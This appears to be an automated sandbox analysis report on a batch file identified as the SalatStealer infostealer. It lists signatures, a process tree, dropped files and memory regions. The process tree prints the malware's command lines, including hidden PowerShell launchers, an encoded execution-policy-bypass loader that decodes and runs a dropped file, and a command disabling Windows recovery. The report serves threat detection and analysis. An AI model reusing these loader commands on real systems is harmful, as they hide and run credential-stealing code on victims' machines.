Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 03:49

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-edtkjsdb88
  • SHA256 94611497c8aed34818df5b417c42834ef569d5d2eac4def525e92e9356548919
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 18 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 23 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4048
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4824
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\spahvb0f\spahvb0f.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3028
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC2AF.tmp" "c:\Users\Admin\AppData\Local\Temp\spahvb0f\CSC1785F3D1C106497B8E1F5DB1441B9D6B.TMP"
              6⤵
                PID:4036
            • C:\Users\Admin\AppData\Local\Temp\p_f1d87d10-8074-42a6-b932-7e66a1b50305.exe
              "C:\Users\Admin\AppData\Local\Temp\p_f1d87d10-8074-42a6-b932-7e66a1b50305.exe"
              5⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2964
              • C:\Users\Admin\AppData\Local\Temp\SppExtComObj.Exe
                C:\Users\Admin\AppData\Local\Temp\SppExtComObj.Exe
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3880
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2432
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:4792
                • C:\Program Files (x86)\Microsoft\Edge\Application\SppExtComObj.Exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\SppExtComObj.Exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:3944
                • C:\Program Files\Google\Chrome\Application\SppExtComObj.Exe
                  "C:\Program Files\Google\Chrome\Application\SppExtComObj.Exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:868
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:1116
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:4784
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:4552

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 c0b2d34b817c9a9264b4d349d788cd19041539e1b2c45772ecbbc737fb7f29b2
                • MD5 SHA1 SHA512 TLSH

                RESC2AF.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RESC2AF.tmp
                • Size 1KB
                • SHA256 c225699b131ac4faaab64b69ebc81fcd8bbb4df171bddaf9b6ba8e67d58beadb
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_u1cq4nhv.2ww.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u1cq4nhv.2ww.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 64KB
                • SHA256 6a4c8c2073c8dc2a89f5308117be8be792f299e9d829e1ed9f42ca4fe19e1edb
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_f1d87d10-8074-42a6-b932-7e66a1b50305.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_f1d87d10-8074-42a6-b932-7e66a1b50305.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                spahvb0f.dll

                • Path C:\Users\Admin\AppData\Local\Temp\spahvb0f\spahvb0f.dll
                • Size 5KB
                • SHA256 640270e3ef09b83d17395e70233884060c38f7770b2bf7fc61c04ed16d3bf6c6
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC1785F3D1C106497B8E1F5DB1441B9D6B.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\spahvb0f\CSC1785F3D1C106497B8E1F5DB1441B9D6B.TMP
                • Size 652B
                • SHA256 e4df49b69c651b000cae61cbf8d6ffe999f2f9e289eba5c0d98c3e217461c69e
                • MD5 SHA1 SHA512 TLSH

                spahvb0f.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\spahvb0f\spahvb0f.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                spahvb0f.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\spahvb0f\spahvb0f.cmdline
                • Size 369B
                • SHA256 906eca5a815fa994d8a24c146addaca1fffc457243a5726fc633937eb9c797df
                • MD5 SHA1 SHA512 TLSH

                memory/868-887-0x0000000000D80000-0x00000000019D5000-memory.dmp

                memory/868-888-0x0000000000D80000-0x00000000019D5000-memory.dmp

                memory/2432-880-0x0000000005690000-0x00000000059E4000-memory.dmp

                memory/2432-891-0x0000000006F00000-0x0000000006F76000-memory.dmp

                memory/2432-919-0x0000000008240000-0x00000000087E4000-memory.dmp

                memory/2432-918-0x00000000074A0000-0x00000000074C2000-memory.dmp

                memory/2432-912-0x00000000073A0000-0x00000000073A8000-memory.dmp

                memory/2432-911-0x0000000007470000-0x000000000748A000-memory.dmp

                memory/2432-910-0x0000000007370000-0x0000000007384000-memory.dmp

                memory/2432-909-0x0000000007360000-0x000000000736E000-memory.dmp

                memory/2432-908-0x0000000007330000-0x0000000007341000-memory.dmp

                memory/2432-907-0x00000000073D0000-0x0000000007466000-memory.dmp

                memory/2432-906-0x0000000007300000-0x000000000730A000-memory.dmp

                memory/2432-905-0x0000000007200000-0x00000000072A3000-memory.dmp

                memory/2432-896-0x0000000070370000-0x00000000706C4000-memory.dmp

                memory/2432-866-0x0000000004650000-0x0000000004686000-memory.dmp

                memory/2432-867-0x0000000004CC0000-0x00000000052E8000-memory.dmp

                memory/2432-868-0x00000000053A0000-0x00000000053C2000-memory.dmp

                memory/2432-870-0x0000000005540000-0x00000000055A6000-memory.dmp

                memory/2432-871-0x0000000005620000-0x0000000005686000-memory.dmp

                memory/2432-904-0x00000000071E0000-0x00000000071FE000-memory.dmp

                memory/2432-895-0x0000000070160000-0x00000000701AC000-memory.dmp

                memory/2432-881-0x0000000005C40000-0x0000000005C5E000-memory.dmp

                memory/2432-882-0x0000000005C70000-0x0000000005CBC000-memory.dmp

                memory/2432-894-0x00000000071A0000-0x00000000071D2000-memory.dmp

                memory/2432-893-0x0000000006FD0000-0x0000000006FEA000-memory.dmp

                memory/2432-889-0x00000000061B0000-0x00000000061F4000-memory.dmp

                memory/2432-892-0x0000000007610000-0x0000000007C8A000-memory.dmp

                memory/2964-857-0x0000000000170000-0x0000000000DC5000-memory.dmp

                memory/2964-847-0x0000000000170000-0x0000000000DC5000-memory.dmp

                memory/2964-849-0x0000000000170000-0x0000000000DC5000-memory.dmp

                memory/2964-850-0x0000000000170000-0x0000000000DC5000-memory.dmp

                memory/2964-851-0x0000000000170000-0x0000000000DC5000-memory.dmp

                memory/3880-923-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-930-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-860-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-859-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-858-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-924-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-926-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-925-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-929-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-890-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-928-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-927-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3880-922-0x0000000000240000-0x0000000000E95000-memory.dmp

                memory/3944-865-0x00000000002D0000-0x0000000000F25000-memory.dmp

                memory/3944-879-0x00000000002D0000-0x0000000000F25000-memory.dmp

                memory/4048-1-0x000001DFFC6D0000-0x000001DFFC6E0000-memory.dmp

                memory/4048-0-0x000001DFFC6D0000-0x000001DFFC6E0000-memory.dmp

                memory/4048-8-0x000001DFFE950000-0x000001DFFE972000-memory.dmp

                memory/4824-837-0x0000029579650000-0x0000029579658000-memory.dmp

                memory/4824-815-0x000002955EF80000-0x000002955EF90000-memory.dmp

                memory/4824-814-0x000002955EF80000-0x000002955EF90000-memory.dmp